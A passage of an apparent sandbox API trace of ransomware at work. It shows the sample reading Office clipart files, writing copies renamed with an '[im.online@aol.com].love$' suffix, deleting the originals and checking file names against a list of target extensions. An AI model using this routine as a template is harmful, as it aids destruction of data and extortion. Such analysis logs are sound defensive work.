office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0231.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.540] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.540] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0231.549] GetLastError () returned 0x0 [0231.550] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0231.565] WriteFile (in: hFile=0x478, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0231.567] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.567] WriteFile (in: hFile=0x478, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.568] SetEndOfFile (hFile=0x478) returned 1 [0231.568] CloseHandle (hObject=0x478) returned 1 [0231.568] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.568] SetEndOfFile (hFile=0x47c) returned 1 [0231.573] CloseHandle (hObject=0x47c) returned 1 [0231.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0231.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0231.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.574] lstrlenW (lpString=".doc") returned 4 [0231.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.574] lstrlenW (lpString=".docx") returned 5 [0231.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.574] lstrlenW (lpString=".pdf") returned 4 [0231.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.574] lstrlenW (lpString=".xls") returned 4 [0231.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.574] lstrlenW (lpString=".xlsx") returned 5 [0231.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.575] lstrlenW (lpString=".ppt") returned 4 [0231.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.575] lstrlenW (lpString=".zip") returned 4 [0231.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.575] lstrlenW (lpString=".rar") returned 4 [0231.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString=".bz2") returned 4 [0231.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString=".7z") returned 3 [0231.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.575] lstrlenW (lpString=".dbf") returned 4 [0231.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.575] lstrlenW (lpString=".1cd") returned 4 [0231.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.575] lstrlenW (lpString=".jpg") returned 4 [0231.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.575] lstrlenW (lpString=".doc") returned 4 [0231.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString=".docx") returned 5 [0231.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.575] lstrlenW (lpString=".pdf") returned 4 [0231.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.575] lstrlenW (lpString=".xls") returned 4 [0231.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.575] lstrlenW (lpString=".xlsx") returned 5 [0231.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.576] lstrlenW (lpString=".ppt") returned 4 [0231.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.576] lstrlenW (lpString=".zip") returned 4 [0231.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.576] lstrlenW (lpString=".rar") returned 4 [0231.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.576] lstrlenW (lpString=".bz2") returned 4 [0231.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.576] lstrlenW (lpString=".7z") returned 3 [0231.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.576] lstrlenW (lpString=".dbf") returned 4 [0231.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.576] lstrlenW (lpString=".1cd") returned 4 [0231.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0231.576] lstrlenW (lpString=".jpg") returned 4 [0231.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.576] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0231.576] lstrlenW (lpString="BD19582_.GIF") returned 12 [0231.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.577] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=15733) returned 1 [0231.577] CloseHandle (hObject=0x47c) returned 1 [0231.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0231.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0231.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.585] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.585] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0231.586] GetLastError () returned 0x0 [0231.586] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x3d75, lpOverlapped=0x0) returned 1 [0231.604] WriteFile (in: hFile=0x478, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3d80, lpOverlapped=0x0) returned 1 [0231.605] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.606] WriteFile (in: hFile=0x478, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.606] SetEndOfFile (hFile=0x478) returned 1 [0231.606] CloseHandle (hObject=0x478) returned 1 [0231.606] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.606] SetEndOfFile (hFile=0x47c) returned 1 [0231.662] CloseHandle (hObject=0x47c) returned 1 [0231.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0231.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0231.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.854] lstrlenW (lpString=".doc") returned 4 [0231.854] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.854] lstrlenW (lpString=".docx") returned 5 [0231.854] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.854] lstrlenW (lpString=".pdf") returned 4 [0231.854] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.854] lstrlenW (lpString=".xls") returned 4 [0231.854] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.854] lstrlenW (lpString=".xlsx") returned 5 [0231.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.854] lstrlenW (lpString=".ppt") returned 4 [0231.854] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.854] lstrlenW (lpString=".zip") returned 4 [0231.854] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.855] lstrlenW (lpString=".rar") returned 4 [0231.855] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.855] lstrlenW (lpString=".bz2") returned 4 [0231.855] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.855] lstrlenW (lpString=".7z") returned 3 [0231.855] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.855] lstrlenW (lpString=".dbf") returned 4 [0231.855] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.855] lstrlenW (lpString=".1cd") returned 4 [0231.855] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.855] lstrlenW (lpString=".jpg") returned 4 [0231.855] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.856] lstrlenW (lpString=".doc") returned 4 [0231.856] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.856] lstrlenW (lpString=".docx") returned 5 [0231.856] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.856] lstrlenW (lpString=".pdf") returned 4 [0231.856] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.856] lstrlenW (lpString=".xls") returned 4 [0231.856] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.856] lstrlenW (lpString=".xlsx") returned 5 [0231.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.856] lstrlenW (lpString=".ppt") returned 4 [0231.856] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.856] lstrlenW (lpString=".zip") returned 4 [0231.856] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.856] lstrlenW (lpString=".rar") returned 4 [0231.856] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.856] lstrlenW (lpString=".bz2") returned 4 [0231.857] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.857] lstrlenW (lpString=".7z") returned 3 [0231.857] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.857] lstrlenW (lpString=".dbf") returned 4 [0231.857] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.857] lstrlenW (lpString=".1cd") returned 4 [0231.857] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0231.857] lstrlenW (lpString=".jpg") returned 4 [0231.857] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.857] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0231.858] lstrlenW (lpString="BD19695_.WMF") returned 12 [0231.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.859] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=12982) returned 1 [0231.859] CloseHandle (hObject=0x47c) returned 1 [0231.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0231.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0231.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.860] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.860] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0231.862] GetLastError () returned 0x0 [0231.862] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x32b6, lpOverlapped=0x0) returned 1 [0231.892] WriteFile (in: hFile=0x3bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0231.894] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.894] WriteFile (in: hFile=0x3bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.894] SetEndOfFile (hFile=0x3bc) returned 1 [0231.894] CloseHandle (hObject=0x3bc) returned 1 [0231.894] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.895] SetEndOfFile (hFile=0x47c) returned 1 [0231.898] CloseHandle (hObject=0x47c) returned 1 [0231.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0231.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0231.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.899] lstrlenW (lpString=".doc") returned 4 [0231.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.899] lstrlenW (lpString=".docx") returned 5 [0231.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.899] lstrlenW (lpString=".pdf") returned 4 [0231.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.900] lstrlenW (lpString=".xls") returned 4 [0231.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.900] lstrlenW (lpString=".xlsx") returned 5 [0231.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.900] lstrlenW (lpString=".ppt") returned 4 [0231.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.900] lstrlenW (lpString=".zip") returned 4 [0231.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.900] lstrlenW (lpString=".rar") returned 4 [0231.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.900] lstrlenW (lpString=".bz2") returned 4 [0231.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.900] lstrlenW (lpString=".7z") returned 3 [0231.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.900] lstrlenW (lpString=".dbf") returned 4 [0231.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.900] lstrlenW (lpString=".1cd") returned 4 [0231.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.900] lstrlenW (lpString=".jpg") returned 4 [0231.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.901] lstrlenW (lpString=".doc") returned 4 [0231.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.901] lstrlenW (lpString=".docx") returned 5 [0231.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0231.901] lstrlenW (lpString=".pdf") returned 4 [0231.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.901] lstrlenW (lpString=".xls") returned 4 [0231.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.901] lstrlenW (lpString=".xlsx") returned 5 [0231.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0231.901] lstrlenW (lpString=".ppt") returned 4 [0231.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.901] lstrlenW (lpString=".zip") returned 4 [0231.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.901] lstrlenW (lpString=".rar") returned 4 [0231.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.901] lstrlenW (lpString=".bz2") returned 4 [0231.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.901] lstrlenW (lpString=".7z") returned 3 [0231.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.901] lstrlenW (lpString=".dbf") returned 4 [0231.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.901] lstrlenW (lpString=".1cd") returned 4 [0231.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0231.902] lstrlenW (lpString=".jpg") returned 4 [0231.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.902] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0231.902] lstrlenW (lpString="BD19827_.WMF") returned 12 [0231.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.903] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=9710) returned 1 [0231.903] CloseHandle (hObject=0x47c) returned 1 [0231.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0231.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0231.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c 